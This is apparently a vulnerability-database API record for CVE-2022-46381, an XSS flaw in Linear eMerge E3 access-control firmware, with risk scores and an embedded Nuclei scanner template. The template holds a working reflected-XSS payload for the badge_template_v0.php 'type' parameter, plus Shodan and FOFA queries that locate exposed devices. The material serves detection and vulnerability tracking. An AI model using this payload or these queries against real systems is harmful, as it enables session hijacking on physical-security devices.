{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-46381/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-46381/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-46381/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-46381/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-46381/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-46381"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-46381"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.01757,
      "kev": false,
      "percentile": 0.76963
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-46381.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2022-46381\n\ninfo:\n  name: Linear eMerge E3-Series - Cross-Site Scripting\n  author: arafatansari\n  severity: medium\n  description: |\n    Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.\n  remediation: |\n    Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.\n  reference:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381\n    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-46381\n    - https://github.com/amitlttwo/CVE-2022-46381\n    - https://github.com/k0mi-tg/CVE-POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2022-46381\n    cwe-id: CWE-79\n    epss-score: 0.01757\n    epss-percentile: 0.76963\n    cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: niceforyou\n    product: linear_emerge_e3_access_control_firmware\n    shodan-query:\n      - http.html:\"Linear eMerge\"\n      - http.html:\"linear emerge\"\n    fofa-query: body=\"linear emerge\"\n  tags: cve,cve2022,xss,emerge,linear,niceforyou,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type=\"/><svg/onload=\"alert(document.domain)\"/>'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '<svg/onload=\"alert(document.domain)\"/>'\n          - 'Badging Template'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a0048304602210095a00426be05e289ef0fd31b23ff6b76927cb117ebd3bd5fbc4f15d761a89f08022100ca512a0b6180e8750a4098b26a05119d274cbd021c9467c7ce8f9ef8f4c346e0:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-46381"
}